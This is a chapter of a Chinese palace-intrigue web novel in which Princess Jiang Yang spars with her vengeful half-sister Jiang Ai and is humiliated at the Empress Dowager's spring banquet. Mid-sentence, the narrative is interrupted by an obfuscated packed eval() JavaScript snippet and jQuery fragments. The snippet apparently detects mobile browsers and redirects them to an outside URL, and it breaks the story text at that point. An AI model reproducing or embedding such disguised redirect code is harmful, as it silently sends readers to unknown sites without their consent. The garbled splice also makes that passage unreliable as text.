姜霭面上不见被揭穿的惊慌,反而好性子的挂了分笑,问姜央:“皇姐会揭发我吗?”
“你敢如此有恃无恐,便是不怕暴露身份。”
姜霭轻抚一掌,笑得天真无邪,“怕还是怕的,虽然我手中有宋皇的手书,但解释起来有些麻烦,为免节外生枝,皇姐还是守口如瓶比较好。”
“你处心积虑来周国,要做什么?”
“这就不劳烦皇姐费心了,我来自有要事要做。”她避而不谈,但姜央知她肯定没安好心。
两人相视而笑,虚伪的面皮下刀光剑影,彼此自小就不对付,如今相见更是如仇人一般,分外眼红。
“对了,是皇姐疏忽,如今该是恭贺你成了‘宋国皇妃’才对。”姜央率先开口,一句话有如一枚落石,重重砸在姜霭心头。
姜霭顿时怒起,五官都扭曲起来,此时也不顾周遭有无耳目,怒喝:“你还有脸提!”
两人自小结仇,但都是些鸡毛蒜皮的琐事,真正的深仇大恨要从燕皇为姜央“选亲”说起。当年燕皇千挑万选,最终为姜央定下宋国太子,只因宋国提出援兵十万的可观条件。
然而,在姜央即将出嫁宋国前一个月,不知宋国太子听了谁的谗言,突然反悔要换人选,且指名道姓要的是姜霭。
齐国当时已攻下燕国十二城,燕皇哪有不应的道理。他将那一套不合身的嫁衣往姜霭身上一套,大张旗鼓逼着姜霭踏上前往宋国的墨车。
未曾料想,更为荒谬的是,姜霭到了宋国,还未来得及见一面自己名正言顺的夫君,大殿之前就被老宋皇一眼相中。
当夜,她辗转被送上老宋皇的床榻,原本钦定的儿媳,成了自己的姬妾。
一年前,老宋皇寿终正寝,宋国太子继位。许是有“夺妻之恨”在前,本该被送入别宫的姜霭,被新宋皇留在了自己的后宫。
宋国地处北蛮,自古就有“子继父妾”的蛮俗,姜霭如今是名正言顺的宋皇宠妃。
姜霭恨呐,原本要被送去宋国的人,是她姜央!
她姜霭本该是太子正妻,现今的周国皇后,却被老宋皇毁得只能当个嫔妃!她成了整个西朝被人诟病的笑话,而这个始作俑者现在还能在周国当公主,凭什么?就凭她有个“历事二主”的好母妃?
所受的屈辱姜霭全记在姜央头上,深恨是因她才遭受这一世的无妄之灾!
恨意爬上姜霭的脸,姜央那毫无愧疚的神色更令她怒火中烧,她指着姜央鼻子毫无风度骂道:“你凭什么讽刺我?你这个罪魁祸首!”
这么多年,她吵架的技术仍未见涨,来来回回只会宣泄自己的愤怒。
姜央眉目不动,只说:“我知你有恨,但是当年宋国要换人选,与我并无关系。”
当年,她早已做好前往宋国联姻的准备,接受了被贩卖的事实。
她是燕国公主,这是她生来的职责。
“真的吗?”姜霭骤然反问了一句,姜央只觉她无理取闹,转身就想结束这场无意义的质问。
却听姜霭道了一句,“我已抓到当年为宋皇进献谗言之人,你之所以被换,是别人有意为之。”
姜央脚步一顿,姜霭已收了愤怒,遗憾道:“可惜我只问出一个消息,那人就死了。”
她靠近姜央,“你知道是什么消息吗?”
姜央冷冷看着她,姜霭眉尾一挑,在她耳旁轻声道:“那孽畜说,是受了周国之人的指使。”
姜央心中一惊,脸上却好笑道:“周国?你未免太看得起我了。”她眉目不动,只问:“你觉得可信吗?”
岿然不动的表面之下,胸腔内却在惊涛骇浪的翻滚。她心里蓦地蹦出来个名字,但是不敢确定。
他当时该恨她刻骨铭心才是,怎会费劲帮她?
“我本也不信,可你现在当着周国风光无限的公主,不得不令我怀疑。”姜霭指着她身上的公主服制,真是刺眼的难看,她撇开眼,转而道:“抑或,皇姐是否能为我解惑,除了你母妃,周国还有何人会费尽心思阻止你嫁入宋国?总不会是左和颐那个无能皇子吧?”
真是庆幸当年她捅了左殊礼一刀,才让姜霭这蠢笨脑子没有怀疑到他身上。
姜央不动声色,嘲讽笑她,“你自小就不聪明,我母妃在周国如履薄冰,有何能力将手伸到宋国,如此荒唐的消息竟能惊动你涉险过来?”
“可我实在想知道真相呐,皇姐能否帮帮皇妹?毕竟,”她莞尔一笑,笑得讽刺又悲凉,“毕竟咱们仅存的亲人可不多了。”
姜央反唇相讥:“亲人吗?除了血缘,你我之间有哪一点像亲人?”
姜霭自小与她争,争琴瑟争头花争姜央的青睐者,凡是她身边拥有的没有的,她都要尝试一番。唯独没争来的只有宁无白与姜临夜,以及她藏起来的左殊礼。
同为公主,偏她姜央能得所有人疼爱。姜霭嫉妒她,抑或说是恨她。
当年骊妃离开后,燕皇为何性情转变那么迅速?迫不及待就把姜央推出去昭告天下的甩卖?燕国美貌公主非她一个,可燕皇偏就执着于她。姜霭和她那好母妃在背后可谓功不可没。
姜央远离她两步,沉声道:“你想来周国抓人,我劝你还是歇了这个心思,你在此地孤立无援,若惹恼了周皇,待你归国也无法向宋皇交代。”
姜霭忽而好脾气道:“皇姐想多了,我来此一是为了查清当年背后指使之人,二来,只是探望一下我的至亲姐姐。”
她自上而下审视着姜央,喟叹一声,“看你过得安好,我真是开心啊。”
言语的唏嘘,仿佛真的姊妹情深一般。
看来宋国那几年将她磋磨的够狠,有了几分令人作呕的疯癫之态,姜央不欲跟她废话,转身就走。
姜霭则像儿时那般,死皮赖脸拉上了她的袖角,笑靥如花道:“姐姐慢些,等等妹妹。”
姜央甩不开她,她像一条缠人的蛇,恶心又阴邪。
二人行至大殿,临近门时,姜霭那阴魂不散的声音又飘了过来。
“妹妹在周国孤苦无依,姐姐切莫忘了妹妹。”
姜央骤然转身一巴掌甩在她手上,她用了狠劲,那手背顷刻见了红。
姜央沉怒道:“这下是否能让你记得更深刻些?”
姜霭抚摸着手上的红痕,娇笑道:“深刻,若甩在脸上,能更深刻些。”
失心疯了,她真是多余好心顾全颜面!
姜央多一眼都不愿看她,忍着气回到坐席,心里开始计算宋国使臣归国的日子。
她心不在焉的模样,很快被左殊礼察觉。
借着亲手为她添水的间隙,他低声问:“可是倦了,要不要先回府?”
姜央瞥了眼执着耳杯的手,又睨了眼躲在暗处窥视她的姜霭,突然道:“这段时日,你离我远些。”
左殊礼一顿,姜央又道:“在外不准有任何亲近之举,最好离我三步之外。”
话毕,姜央起身就要离席,手刚撑上桌案,又侧首对他叮嘱道:“我先回府,至少半个时辰之后你再回,免得叫人误会。”
话语里都是拒人千里的告诫。
左殊礼淡然收回手,眼底闪出一片暗沉。
他生了气,可她却没空顾及他的脾气。
回府后,姜央等待承受他的怒火,结果左部军传来急报,左殊礼归府的马车转了道,去了城郊大营。
他许久未回营,或许是被她连环三句告诫生了闷气,姜央要避嫌,他便借机回营中呆一段时日,说是处理手头上堆积的军事。
左殊礼实际上比表现的更为繁忙,姜央不愿他总绕着她转,弄得自己像个祸国妖姬似的。
她终于有了几日的清净,如今都有闲心与宁无白采撷晨间花露,备来酿酒。
“昨日,宋国六公主去了长乐宫。”宁无白捧着瓦罐,将刚得来的消息告知姜央。
“她是去拜见太后?”长乐宫乃太后居住之所。
宁无白颔首。
姜央将采来的露水一股脑儿倒进瓦罐,问:“姜霭也一道跟去了?”
宁无白摇了摇头,“姜霭并未跟随。”宁无白派人盯着姜霭,她这几日在西京四处闲逛,仿佛真是来周国游玩一般。
姜央随手摘了两瓣茉莉花瓣,往攒了半罐露水的瓦罐里一丢,清香自水中而出,姜央却皱上了眉。
“我总觉得她在谋算什么。”以姜霭的性格,姜央不信她来周国只是为了查个真相。
什么手足之情,她们之间只有旧仇宿怨。
“她目标左右不过是你,只要你在公主府内闭门不出,她就无法奈何你。只是……”
宁无白从怀中取出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580365|182965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一封烫金请帖,轻叹道:“太后于后日在秋水河畔设春日宴,你要去吗?”
这是自左殊恩登基以来,太后第一次以自己的名义置办春日宴。太后亲自莅临,她若敢缺席,只怕会给左殊恩与左殊礼添麻烦。
姜央苦笑一声,“我有能力拒绝吗?”
她不可能在公主府中躲一辈子。越在高位,越是身不由己,姜央并非不懂这个道理。
这场春日宴,哪怕是一场鸿门宴,她也得露个面。
西京城郊秋水河畔有座皇家园林,是当年先周皇为庆贺嫡子降生,特地为当今太后修建,名为“宜兰园”。
太后喜爱兰花,这名字取得情真意切,若不细数老周皇后宫的姬妾数量,仿佛二人真的帝后情深。
姜央到的不早不晚,宴还未开,宾客已至半数。
马车徐徐停靠在园门口,方落地,一名年至四十的嬷嬷越众行来。她向姜央遥遥一礼,只说:“见过公主,太后已至‘鹿鸣堂’,请公主随老奴前去拜见太后娘娘。”
恭敬的语气里满是公事公办的强势。
姜央来周国这些时日,这名传说中的太后甚少露面,本以为要过好一阵才会与她碰面,不想是太后先主动。
姜央略整了下裙衫,随着嬷嬷踏进一片繁花簇锦的庭院,还未到门口,就听堂内传来女眷们的欢声笑语,姜央粗略分辨了一下,有十数人之多。
嬷嬷领着她行到门前,未过门槛,嬷嬷淡漠的声音从她身侧传来,“公主,就在此处见礼吧。”
姜央抬眼望了眼堂内,明明室内四面花窗大敞,却光线昏暗,周国贵妇们围坐在厅堂中,依稀可见衣香鬓影,华冠丽服。其中一人高坐正首,脸埋在阴影里,只能望见她金光闪烁的头面金簪。
嬷嬷的声音打断了厅堂中的谈笑,姜央垂下眼,工整跪下行礼。
“臣女参见太后娘娘,太后娘娘万福金安。”
厅中所有视线汇聚而来,袭来一股压迫,沉甸甸的,有如实质。
姜央缓缓眨了下眼,将萦绕在胸口的闷意,尽数按下。
不过一刻,厅中欢愉的相谈声又逐渐响起,好似她那一声问安不曾发生过——她被刻意忽视了。
春日清寒,因要拜见太后,姜央卸了御寒的披风,冷风直往衣襟里钻,地上的青砖更是冷硬。
姜央不动声色,淡定的将袖袍压入手心,隔绝掉地面冰凉。
不过是常见的磋磨人的手段,太后还算顾了两分颜面,只是无视她。
许久,许是见她不声不响跪够了时辰,太后也觉得无趣,才懒懒道了一句,“抬起头来。”
连一句“平身”都不曾有。
姜央半阖着眼,直立上身,太后打量的视线在她面上若有似无绕了一圈,只听轻笑一声,“是个好样貌。”
“可不是吗,娇娇滴滴,跟朵沾了露珠的花骨朵儿似的,哪个男人见了不怜惜?”
也不知哪位嘴巴利索的妇人在旁附和,将她贬的跟名以色事人的名伶一般。
太后短促笑了一声,许是说到她的心坎里,嗔怪了一句,“就你说话没个顾忌。”
见微知著,都是帮惯会逢迎拍马之人,见太后没有责怪,于是你一言,我一语,开始对门外的姑娘品头论足。
言语如刀锋,姜央并未放在心上,这些贵妇好歹顾着面皮,比曾经那些酒后权贵们说话好听多了。
若只是这点唇枪舌剑,还真伤不掉她二两肉。
她只是有些饿,晨间出门时该多喝两口米粥才是。
正细数着袖口缠花时,忽听内侍高喝一声,尖锐的嗓音打乱了堂中嘈杂如雀的笑谈,
“皇后娘娘驾到——”
诸人俱是一惊,厅中静了一瞬,好似未曾料到这位尊主会前来。贵妇们手忙脚乱离席屈膝,颔首行上半叩礼,场面乱中有序的有几分滑稽。
一阵香风扑鼻而来,紧接着手臂猛地被人攥住,姜央直接被人提溜了起来。
还不待她回神,抬眼就见面前一名衣着华贵的女子,正嫌弃的睨着她沾了灰的裙摆。
清冷的面容如秋夜皎月,眼尾淡淡上挑,挑出一丝毫不违和的妖媚英气。
声儿也如月色那般掺着渗人的寒气,
“谁让你在门口行跪拜礼的?规矩都喂狗肚子了去了?”